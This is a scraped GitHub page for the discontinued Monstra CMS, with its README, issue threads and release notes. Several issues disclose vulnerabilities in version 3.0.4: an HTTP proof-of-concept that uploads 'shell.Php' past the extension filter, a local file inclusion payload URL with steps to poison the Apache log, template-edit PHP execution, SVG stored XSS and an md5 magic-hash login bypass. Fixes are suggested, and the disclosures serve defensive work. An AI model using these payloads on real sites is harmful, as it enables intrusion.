Monstra is a modern and lightweight Content Management System.

Related tags

CMS monstra
Overview

THIS PROJECT IS NOT SUPPORTED ANYMORE!
Check FLEXTYPE.ORG

Monstra

Monstra is a modern and lightweight Content Management System.

Join the chat at https://gitter.im/monstra-cms/monstra

System Requirements

Operation system: Unix, Linux, Windows, Mac OS Middleware: PHP 5.3.2 or higher with PHP's SimpleXML module and Multibyte String module Webserver: Apache with Mod Rewrite or Ngnix with Rewrite Module

Steps to Install

  1. Download the latest version.
  2. Unzip the contents to a new folder on your local computer.
  3. Upload that whole folder with an FTP client to your host.
  4. You may also need to recursively CHMOD the folder /storage/, /tmp/, /backups/ and /public/ to 755(or 777) if your host doesn't set it implicitly.
  5. Also you may also need to recursively CHMOD the /install.php, /.htaccess and /sitemap.xml to 755(or 777) if your host doesn't set it implicitly.
  6. Type http://example.org/install.php in the browser.

Contributing

  1. Help on the Forum.
  2. Donate to keep Monstra free. We will add you to Monstra Sponsors Page.
  3. Develop a new plugin.
  4. Create a new theme.
  5. Find and report issues.
  6. Link back to Monstra.

Links

License

See LICENSE

Comments
  • Cross-site Scripting (XSS)

    Cross-site Scripting (XSS)

    Vulnerability Type Cross-site scripting, in the login of administrator, and to retrieve the password and register a user from the part of the customer!

    opened by jofpin 14
  • Monstra rebranded to Flextype!

    Monstra rebranded to Flextype!

    Dear Friends and Monstra Followers! I need to inform you about big infrastructure changes.

    Project Monstra was rebranded to Flextype! That is means that project Monstra will not supported any more! I am working on a new project called Flextype!

    Flextype is Open Source, fast and flexible file-based Content Management System. That's Easy to install, upgrade and use. Flextype provides amazing API's for plugins, themes and core developers! Content in Flextype is just a simple files written with markdown syntax in pages folder. You simply create markdown files in the pages folder and that becomes a page.

    FEATURES

    Simple

    Easy to install, upgrade and use.
    No installation needed, just copy files to your server!

    Fast

    Flextype is realy fast and lightweight!
    No database required, flat files only!

    Flexible

    Flextype provides amazing API for plugins, themes and core developers!

    Markdown Syntax

    Use your favorite editor to write your content with plain Markdown syntax.

    Dynamic Content Types

    The flat-file nature of Flextype lets you define custom fields for any of your pages.

    Open Source

    Flextype is an open-source project licensed under the MIT LICENSE to set the world free!

    REQUIREMENTS

    PHP 7.1.3 or higher with PHP's Multibyte String module
    Apache with Mod Rewrite

    INSTALLATION

    Using (S)FTP

    Download the latest version.

    Unzip the contents to a new folder on your local computer, and upload to your webhost using the (S)FTP client of your choice. After you’ve done this, be sure to chmod the following directories (with containing files) to 777, so they are readable and writable by Flextype:

    • site/

    Using Composer

    You can easily install Flextype with Composer.

    composer create-project flextype/flextype
    

    Also you may need to install node_modules libs for default Simple Theme

    cd /flextype/site/themes/simple  
    npm install
    gulp
    

    COMMUNITY

    Flextype is open source, community driven project, and maintained by community!

    NO LIMITS

    With Flextype you can create any project you whant.

    • Business site
    • Landing page
    • Personal site
    • Portfolio
    • Product site
    • Documentation
    • Personal resume
    • Blog

    CONTRIBUTE

    Flextype is an open source project and community contributions are essential to its growing and success. Contributing to the Flextype is easy and you can give as little or as much time as you want.

    LINKS

    LICENSE

    See LICENSE

    If you not agree about getting notifications from GitHub about project update, please unfollow it.

    General Improvement 
    opened by Awilum 12
  • Blank page at installation process after change language

    Blank page at installation process after change language

    Hi,

    I have one issue, if I change language at installation process from english into whatever, than is visible only blank page. Remove all files, download and unzip, new installation with english work very well.

    opened by neridev 6
  • Sitemap Errors

    Sitemap Errors

    The Sitemap has an validation Error

    plugins/box/sitemap/views/frontend/index.view.php

    <h3><?php echo __('Sitemap', 'sitemap'); ?></h3>
    <hr>
    <ul>
    <?php
    
        // Display pages
        if (count($pages_list) > 0) {
            foreach ($pages_list as $page) {
                if (trim($page['parent']) !== '') $parent = $page['parent'].'/'; else $parent = '';
                if (trim($page['parent']) !== '') { echo '<ul>'; }
                echo '<li><a href="'.Option::get('siteurl').$parent.$page['slug'].'">'.$page['title'].'</a></li>';
                if (trim($page['parent']) !== '') { echo '</ul>'; }
            }
            if (count($components) == 0) { echo '<ul>'; }
        }
    
        // Display components
        if (count($components) > 0) {
            if (count($pages_list) == 0) { echo '<ul>'; }
            foreach ($components as $component) {
                echo '<li><a href="'.Option::get('siteurl').$component.'">'.__(ucfirst($component), $component).'</a></li>';
            }
            echo '</ul>';
    
        }
    
    ?>
    </ul>
    

    ERROR 1 - Script from above gives this result on default Template:

    <ul>
        <li><a href="http://site.com/">Home</a></li>
        <li><a href="http://site.com/users">Users</a></li>
    </ul>
    </ul>
    

    here are 2 closing </ul>'s


    ERROR 2 - if Submenu is existing it gives this code:

    <ul>
        <li><a href="http://site.com/">Home</a></li>
        <li><a href="http://site.com/test">Test</a></li>
        <ul>
            <li><a href="http://site.com/test/sub-1">Sub 1</a></li>
        </ul>
        <ul>
            <li><a href="http://site.com/test/sub-2">Sub 2</a></li>
        </ul>
        <li><a href="http://site.com/users">Users</a></li>
    </ul>
    </ul>
    

    but it should look like this:

    <ul>
        <li><a href="http://site.com/">Home</a></li>
        <li><a href="http://site.com/test">Test</a></li>
        <ul>
            <li><a href="http://site.com/test/sub-1">Sub 1</a></li>
            <li><a href="http://site.com/test/sub-2">Sub 2</a></li>
        </ul>
        <li><a href="http://site.com/users">Users</a></li>
    </ul>
    

    for better sourcecode view it would be useful to add a linebreak after </li> :smile:


    opened by bernte 6
  • Files Manager Improvements

    Files Manager Improvements

    Files Manager Must be totally improved.
    This new features must be added:

    • Drag and Drop uploads. - DONE
    • Basic work with Files and Directories
      Create & Edit Files Create Directory - DONE
      Ability to rename Files & Directories
    Feature Improvement 
    opened by Awilum 5
  • Shortcodes API: shortcode name issue

    Shortcodes API: shortcode name issue

    Problem with similar shortcodes names. Shortcodes parser think for e.g. that shortcode "news" and "newslike" is the same.

    Maybe problem is here: https://github.com/Awilum/monstra-cms/blob/dev/monstra/engine/shortcodes.php

    $pattern = "/(.?)\{($shortcodes)(.*?)(\/)?\}(?(4)|(?:(.+?)\{\/\s*\\2\s*\}))?(.?)/s";
    
    General 
    opened by Awilum 5
  • Change Shortcode::add() execution order

    Change Shortcode::add() execution order

    Shortcode::add() does not work for the class, Page. However, when called "after" the Page class, it works.

    Actually, {page_author}, {page_slug}, {page_url}, {page_date} and {page_content} do not work as expected.

    opened by Kibele 4
  • deleting users

    deleting users

    is it possible to add a feature?

    before you delete an user: php should check if the user is an admin and the only existing admin. otherwise you can get some trouble when deleting the wrong user :D

    opened by bernte 4
  • Added: 'users' hide option functionality

    Added: 'users' hide option functionality

    Added option to hide 'users' list from public from admin/users menu. Change affects: users listing and viewing others profiles availability, sitemap creation

    opened by ghost 3
  • Comments \ Комментарии

    Comments \ Комментарии

    It will be nice to made comments plugin avaible by the default. I can't find something usefull.

    Было бы замечательно видеть плагин "Комментарии" встроенным в систему по умолчанию, причем с собственным шорт-кодом, чтобы его можно было выводить на любой странице.

    opened by Kleindberg 3
  • Minify failed for new theme

    Minify failed for new theme

    How to reproduce:

    1. copy existing default theme folder, then rename it to e.g: defaultx
    2. edit default.css anything, change color, etc in Admin Panel -> Extend -> Themes -> Styles -> Edit button
    3. delete temporary files in Admin Panel -> System -> Settings -> Delete Temporary Files
    4. Visit your frontend, refresh, view minified css, no changes done
    opened by razuro 3
  • Add a security policy

    Add a security policy

    Hello 👋

    I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@anhdq201) has found a potential issue, which I would be eager to share with you.

    Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

    Looking forward to hearing from you 👍

    (cc @huntr-helper)

    opened by benharvie 0
  • Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability

    Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability

    Brief of this vulnerability

    The Monstra 3.0.4 source code does not filter the case of php, which leads to an unrestricted file upload vulnerability.

    Test Environment

    Apache/2.4.41 (Ubuntu20.04)
    PHP 7.4.3
    

    Affect version

    <=3.0.4
    

    POC

    POST /monstra/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
    Host: localhost:80
    Content-Length: 442
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost:65003
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6KF8q8SlXAspgP7
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost:65003/monstra/admin/index.php?id=filesmanager&path=uploads/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=nlofifites91aq2tsi1s520298
    Connection: close
    
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7
    Content-Disposition: form-data; name="csrf"
    
    8ff9a93b1f09f4dfa18e06c201b7355e602ea9ce
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7
    Content-Disposition: form-data; name="file"; filename="shell.Php"
    Content-Type: text/plain
    
    <?php echo "This is a test";?>
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7
    Content-Disposition: form-data; name="upload_file"
    
    上传
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7--
    

    Execute successfully

    Reason of This Vulnerability

    $_FILES['file']['name'] in the Upload file module does not check whether the file extension is case,Vulnerability file:/plugins/box/filesmanager/filesmanager.admin.php

            // Upload file
            // -------------------------------------
            if (Request::post('upload_file')) {
    
                if (Security::check(Request::post('csrf'))) {
    
                    $error = false;
                    if ($_FILES['file']) {
                        if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                            $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                            $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                            if ($uploaded !== false && is_file($filepath)) {
                                Notification::set('success', __('File was uploaded', 'filesmanager'));
                            } else {
                                $error = 'File was not uploaded';
                            }
                        } else {
                            $error = 'Forbidden file type';
                        }
                    } else {
                        $error = 'File was not uploaded';
                    }
    
                    if ($error) {
                        Notification::set('error', __($error, 'filesmanager'));
                    }
    
                    if (Request::post('dragndrop')) {
                        Request::shutdown();
                    } else {
                        Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                    }
                } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
            }
    

    Repair suggestions

    Add case verification at $_FILES['file']['name'], as follows:

            // Upload file
            // -------------------------------------
            if (Request::post('upload_file')) {
    
                if (Security::check(Request::post('csrf'))) {
    
                    $error = false;
                    if ($_FILES['file']) {
    					$_FILES['file']['name']=strtolower($_FILES['file']['name']);  //Change uppercase to lowercase
                        if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                            $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                            $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                            if ($uploaded !== false && is_file($filepath)) {
                                Notification::set('success', __('File was uploaded', 'filesmanager'));
                            } else {
                                $error = 'File was not uploaded';
                            }
                        } else {
                            $error = 'Forbidden file type';
                        }
                    } else {
                        $error = 'File was not uploaded';
                    }
    
                    if ($error) {
                        Notification::set('error', __($error, 'filesmanager'));
                    }
    
                    if (Request::post('dragndrop')) {
                        Request::shutdown();
                    } else {
                        Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                    }
                } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
            }
    
    
    opened by wuhuaviator 0
  • Monstra 3.0.4  Local File Inclusion Vulnerability

    Monstra 3.0.4 Local File Inclusion Vulnerability

    Brief of this vulnerability There is a local File Inclusion Vulnerability in the CMS, which can be exploited by an attacker to execute PHP code

    Test Environment

    Apache/2.4.39 (Windows10)
    PHP 5.4.45-2+mysql 5.7.26
    

    Affect version <=3.0.4

    payload

    http://127.0.0.1/plugins/captcha/crypt/cryptographp.inc.php?sn=exp&exp=1&cfg=filename
    

    We can create phpinfo.txt In the web directory, the content is<?php phpinfo();?>

    image

    http://127.0.0.1/plugins/captcha/crypt/cryptographp.inc.php?sn=exp&exp=1&cfg=I:\phpstudy_pro\www\phpinfo.txt
    

    image

    Or we can use Apache logs

    1. use burpsuite image

    2. include log http://127.0.0.1/plugins/captcha/crypt/cryptographp.inc.php?sn=exp&exp=1&cfg=I:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log image

    Reason of This Vulnerability Directly from the get parameter and include this parameter, resulting in a vulnerability,Vulnerability file: plugins\captcha\crypt\cryptographp.inc.php

    #..\plugins\captcha\crypt\cryptographp.inc.php
    if (( ! isset($_COOKIE['cryptcookietest'])) and ($_GET[$_GET['sn']] == "")) {
        header("Content-type: image/png");
        readfile('images/erreur3.png');
        exit;
    }
    
    if ($_GET[$_GET['sn']] == "") { unset ($_GET['sn']); }
    
    session_start();
    
    // Takes only the configuration files in the same directory
    if ($_GET['cfg'] ) { $_SESSION['configfile']=$_GET['cfg']; } else {  $_SESSION['configfile'] = "cryptographp.cfg.php"; }
    
    include($_SESSION['configfile']);
    

    As long as we assign a value to the sn variable and it is not empty, we can skip the first 2 if syntax,The variable CFG is directly assigned to configFile, and then the include method is executed, resulting in a vulnerability

    opened by Zbadblog 0
  • PHP command execution exists in edit blog template in monstra 3.0.4

    PHP command execution exists in edit blog template in monstra 3.0.4

    Vulnerability profile: In edit blog template, we can control the website system by writing PHP executable code and running malicious code Test environment: PHP version 5.6.2 +appach Affected version <=3.0.4 Vulnerability details:

    1. Use the administrative user to log in to the website: http://ip:port/monstra/admin/index.php?id=themes&action=edit_ template&filename=blog

    2.Write PHP executable code in template content

    image

    3.Save the modified template content,visit:http://ip:port/monstra/blog Get shell and control the website image

    opened by yanqian1993 0
  • Cross Site Scripting Vulnerability on

    Cross Site Scripting Vulnerability on "Files" upload file SVG in Monstra 3.0.4

    Describe the bug An authenticated malicious user can take advantage of a Stored XSS vulnerability in the "Files" feature. Monstra application allows the upload of a SVG file extension (which is also an image type). ** Reproduce** Steps to reproduce the behavior:

    1. Login into the panel Monstra
    2. Go to "/admin/index.php?id=filesmanager&path=uploads/"
    3. Upload file abc.svg:

    2

    1. Open file upload : "/public/uploads/abc.svg"
    2. View the preview to trigger XSS.
    3. View the preview to get in request and such Stored XSS. Impact Commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site. Screenshots 1 Desktop (please complete the following information):
    • OS: Kali
    • Browser: Firefox
    • Version of Browser: 68.6
    opened by Songohan22 0
  • Bypass authentication through loose comparison (==)

    Bypass authentication through loose comparison (==)

    Hi, I'd like to report a potential authentication bypass problem using loose comparison.

    In monstra/admin/index.php:38, the password checking is currently using loose comparison (==) instead of strict. However, the password in monstra is computed usingmd5 functions in monstra/engine/Security.php:98, which suffers from magic hash problem. If the hash value starts from 0e, which will be treated as 0 during the comparison. An attacker can bypass the authentication using a crafted password with similar hash value.

    This problem also appears in other parts of monstra. For example, the plugin box has a similar issue.

    This can be easily fixed via strict comparison(===).

    Reference to magic hash

    opened by peng-hui 0
Releases(v3.0.4)
  • v3.0.4(Apr 5, 2016)

    • Fixed User Security by adding a check that compares POST id with SESSION id for none admin edits
    • Fixed ability to read robots.txt
    • Stylesheet: Changed minified URIs to eliminate query strings
    • FilesManager: added alphabetical order for files and directories
    • Localization: Major Fixes for ES locale
    Source code(tar.gz)
    Source code(zip)
    monstra-3.0.4.zip(1.65 MB)
  • v3.0.3(Jan 29, 2016)

  • v3.0.2(Oct 16, 2015)

  • v3.0.1(Aug 10, 2014)

    • Minimum php is 5.3
    • Themes Plugin: Imposible to create new CSS - fixed
    • Themes Plugin: js and css counter does not recalculate - fixed
    • Error in Monstra Notifications - fixed
    • Updated plugins url from plugins.monstra.org to monstra.org/download/plugins
    Source code(tar.gz)
    Source code(zip)
    monstra-3.0.1.zip(1.57 MB)
  • v3.0.0(Aug 1, 2014)

    • Mobile Ready! Monstra fully responsive for mobile devices, tablets, and normal computer screens.
    • Twitter Bootstrap updated to 3.1.1
    • Idiorm updated to 1.4.1
    • jQuery updated to 2.1.0
    • Admin: New Modern User Interface
    • Site: New default theme
    • Layout fixes according to World Wide Web Consortium (W3C) Standards
    • Prefetch DNS to reduce look up times
    • Files Manager: added ability to create & rename directories.
    • Files Manager: Maximum upload file size message - added.
    • Files Manager: Bootstrap fileinput.js updated to 3.0.0
    • Files Manager: File Info Popup
    • Backup: Restore Site from Backup added
    • Plugins Manager: Uploading new plugins via the admin panel added
    • Plugins Manager: Read plugin help(README.MD) ability added.
    • Responsive Chocolat Lightbox instead of TB Lightbox
    • Blog Plugin as a part of Monstra CMS
    • CodeMirror Plugin as a part of Monstra CMS
    • Markdown Plugin as a part of Monstra CMS
    • MarkItUp Color Pallete fixes
    • Site Url without trailing slashes
    • Admin Help Section - added.
    • Pages Plugin: tags field added.
    • Pages Plugin: Meta Title added.
    • Sitemap Errors Fixes.
    • Monstra automatically renames files - fixed
    • Monstra Dashboard created and set as default Plugin for Admin Panel
    • Ink Framework for Monstra Email Templates
    • iCheck plugin for checkboxes added.
    • Emails Manager Plugin added.
    • HubSpot Messaging Library added for notifications
    • Gelato: Unzip Functionality added.
    • Gelato: Number Class new method convertToBytes() added.
    • Gelato: ErroHandler styles updates
    • Users Plugin getGravatarURL() improve
    • Plugin API - Actions - Closure support added.
    • Plugin API - Filters - Closure support added.
    • Core: Better statuses notification (error,success,warning)
    • Core: Store user_email in Session
    • Core: Javascript may be broken if there is no break line - fixed
    • Core: Added ability to avoid caching JS/CSS by the browser.
    • Core: Monstra automatically rename files Issue - fixed
    • Sandbox Plugin cleanup
    • New Flags: Japanese(JA), Indonesian(ID), Chinese(ZH-CN), Turkish(TR) added.
    • Localization: Japanese(JA), Indonesian(ID), Chinese(ZH-CN), Turkish(TR) translations added.
    • Localization: Major Fixes
    Source code(tar.gz)
    Source code(zip)
    monstra-3.0.0.zip(1.61 MB)
  • v2.3.1(Dec 24, 2013)

    • Localization: Major Fixes
    • Gelato: Image.php Major Fixes
    • Sitemap: Errors #175 - fixes
    • New favicon added #182 - by bernte
    • Layouts: General Fixes - by bernte
    • Installer: SERVER_PORT issue - fixed by KANekT
    • Gelato: Number Class - updated bytes format (JEDEC & IEC 60027) by mbarzda
    • Email Layout: footer fixes
    Source code(tar.gz)
    Source code(zip)
    monstra-2.3.1.zip(660.55 KB)
  • v2.3.0(Dec 19, 2013)

    • Update Twitter Bootstrap to 2.3.2
    • Security: Added limits for login attempts #104
    • Security: Obfuscate users email to prevent spam-bots from sniffing it.
    • Core: Added ability to map Monstra Engine Directory.
    • Core: Maintenance Mode Improvements
    • Core: ORM::configure - driver options added
    • Gelato: Image.php fix for PNG files
    • Gelato: Number.php: Undefined offset fix
    • XMLDB: error select for empty table fix
    • Plugin API: Stylesheet.php updates - sourcecode misses a linebreak after minified css
    • Files Manager: jasny bootstrap-fileupload - added #89
    • Users Plugin: login page fixes
    • Users Plugin: Deleting users - fixed by Oleg Gatseluk #158
    • Pages Plugin: General method getPages() created #123
    • Pages Plugin: page expand ajax bug #115 - fixed
    • Pages Plugin: Improved available() method to show only published pages
    • Pages Plugin: Bug with pages renaming - fixed
    • Monstra Email Templates #164
    • Localization: Major Fixes
    • Localization: PL added
    • Localization: NL added
    • .htaccess SEO improvements
    Source code(tar.gz)
    Source code(zip)
    monstra-2.3.0.zip(660.28 KB)
  • v2.2.1(Jul 3, 2013)

    • Update Gelato to 1.0.3
    • Error Handler turned off for Production environment
    • Localization: Farsi(fa) translations fixes.
    • Pages Manager: fix translates #107
    • Missing Translation on Login Page - fixed #106
    • Lithuanian flag and other languages fixes. Thanks to mbarzda
    Source code(tar.gz)
    Source code(zip)
    monstra-2.2.1.zip(643.02 KB)
  • v2.2.0(Jul 3, 2013)

    • Mobile Ready! Monstra fully responsive for mobile devices, tablets, and normal computer screens.
    • Improved Monstra Architecture!
    • New Stand-alone Monstra Library (Gelato) was created! Totally improved old classes and added new classes!
    • Monstra Library with new useful classes - ClassLoader, ErrorHandler, Log, MinifyJS, MinifyCSS, MinifyHTML, Token, Registry.
    • Adopted PSR-0 PSR-1 PSR-2
    • Localization: Farsi(fa), Magyar(hu), Français(fr), Spanish(es), Serbian(sr-yu), Slovakian(sk) translations added. Thanks to Abdulhalim, Lez, Neri, Mapadesign, Hugomano and Nakome.
    • Idiorm Updated to 1.3.0
    • jQuery Updated to 1.9.1
    • Twitter Bootstrap Updated to 2.3.0
    • Default Theme: Social Meta Tags - added.
    • Default Theme: Hook "theme_meta" - added.
    • Admin Default Theme: Added missing meta tags.
    • Improve Installer Usability. Flags Added.
    • Default Site Email added.
    • PHPMailer added.
    • Pages Manager: added ability to quickly update page status and page access.
    • Intstaller Layout: Added missing meta tags.
    • Filesmanager plugin: added ability to view images.
    • Filesmanager Plugin: forbidden types array - updated.
    • CSRF detection text - updated.
    • Engine Uri: code improvements.
    • XMLDB: Table Class - fixed select method. Thanks to DmitriyMX
    • Bootstrap CSS: Icons url - fixed.
    • Plugins Manager: buttons confirm dialog message - fixed.
    • Pages Manager: page cloning problem - fixed.
    • Localizations: translations fixes.
    Source code(tar.gz)
    Source code(zip)
    monstra-2.2.0.zip(642.54 KB)
Owner
Monstra Content Management
THIS PROJECT IS NOT SUPPORTED ANYMORE! Check FLEXTYPE.ORG
Monstra Content Management
Baicloud CMS is a lightweight content management system (CMS) based on PHP and MySQL and running on Linux, windows and other platforms

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

null 5 Aug 15, 2022
Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS

Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS. Building this Content Management System, we focused on simplicity. To achieve this, we implemented a simple but powerful API's.

Flextype 524 Dec 30, 2022
Soosyze CMS is a minimalist content management system in PHP, without database to create and manage your website easily

Soosyze CMS is a content management system without a database. It's easy to create and manage you

Soosyze 41 Jan 6, 2023
Simple, modular content management system adapted for launch pages and one-page websites

Segmint Segmint is an easy-to-use flat-file landing page framework, allowing quick and efficient prototyping and deployment - perfect for freelancers

null 2 Jul 19, 2022
e107 Bootstrap CMS (Content Management System) v2 with PHP, MySQL, HTML5, jQuery and Twitter Bootstrap

e107 is a free and open-source content management system (CMS) which allows you to manage and publish your content online with ease. Developers can save time in building websites and powerful online applications. Users can avoid programming completely! Blogs, websites, intranets – e107 does it all.

e107 Content Management System 298 Dec 17, 2022
The repository for Coaster CMS (coastercms.org), a full featured, Laravel based Content Management System

The repository for Coaster CMS (coastercms.org) a Laravel based Content Management System with advanced features and Physical Web integration. Table o

Coaster CMS 392 Dec 23, 2022
Core framework that implements the functionality of the Sulu content management system

Sulu is a highly extensible open-source PHP content management system based on the Symfony framework. Sulu is developed to deliver robust multi-lingua

Sulu CMS 921 Dec 28, 2022
Fully CMS - Multi Language Content Management System - Laravel

Fully CMS Laravel 5.1 Content Managment System not stable! Features Laravel 5.1 Bootstrap Authentication Sentinel Ckeditor Bootstrap Code Prettify Fil

Sefa Karagöz 479 Dec 22, 2022
A small CMS for SaaS - A tiny content management system

Fervoare CMS A tiny content management system Project created in 2012 and ported to GitHub in 2021. Getting started Assuming you have installed a LAMP

Mark Jivko 3 Oct 1, 2022
Simple Content Management System (CMS) Blog Using Codeigniter with Hierarchical Model View Controller (HMVC) Architectural

Simple Content Management System (CMS) Blog Using Codeigniter with Hierarchical Model View Controller (HMVC) Architectural This is my source code trai

Simon Montaño 1 Oct 28, 2021
Coaster CMS a full featured, Laravel based Content Management System

The repository for Coaster CMS (coastercms.org) a Laravel based Content Management System with advanced features and Physical Web integration. Table o

Coaster CMS 392 Dec 23, 2022
ExpressionEngine is a mature, flexible, secure, free open-source content management system.

ExpressionEngine is a flexible, feature-rich, free open-source content management platform that empowers hundreds of thousands of individuals and organizations around the world to easily manage their web site.

ExpressionEngine 366 Mar 29, 2022
An advanced yet user-friendly content management system, based on the full stack Symfony framework combined with a whole host of community bundles

An advanced yet user-friendly content management system, based on the full stack Symfony framework combined with a whole host of community bundles. It provides a full featured, multi-language CMS system with an innovative page and form assembling process, versioning, workflow, translation and media managers and much more.

Kunstmaan | Accenture Interactive 374 Dec 23, 2022
Mecha is a flat-file content management system for minimalists.

Mecha CMS Mecha is a flat-file content management system for minimalists. Front-End The default layout uses only Serif and Mono fonts. Different opera

Mecha 133 Jan 1, 2023
Feindura - Flat File Content Management System

feindura - Flat File Content Management System Copyright (C) Fabian Vogelsteller [frozeman.de] published under the GNU General Public License version

Fabian Vogelsteller 39 Dec 30, 2022
Charcoal Content Management System (CMS) Module

Charcoal CMS The CMS Charcoal Module (Content Management System). Provides basic objects to build a website. Notably, Section (or page), News, Event a

Locomotive 44 Sep 12, 2022
A Concrete CMS package to add interfaces to translate multilingual content. You can translate content manually, or use cloud API.

Concrete CMS add-on: Macareux Content Translator Concrete CMS has powerful features to manage multilingual content by its default. You can add languag

株式会社マカルーデジタル 3 Nov 28, 2022
ExpressionEngine is a flexible, feature-rich, free open-source content management platform that empowers hundreds of thousands of individuals and organizations around the world to easily manage their web site.

ExpressionEngine CMS ExpressionEngine is a mature, flexible, secure, free open-source content management system. It is beloved by designers for giving

ExpressionEngine 412 Dec 27, 2022
Sulu is an open-source content management platform based on the Symfony PHP framework

This repository is no longer the recommended way to start a sulu project. Please have a look at the documentation to find out how to start a new proje

Sulu CMS 623 Nov 12, 2022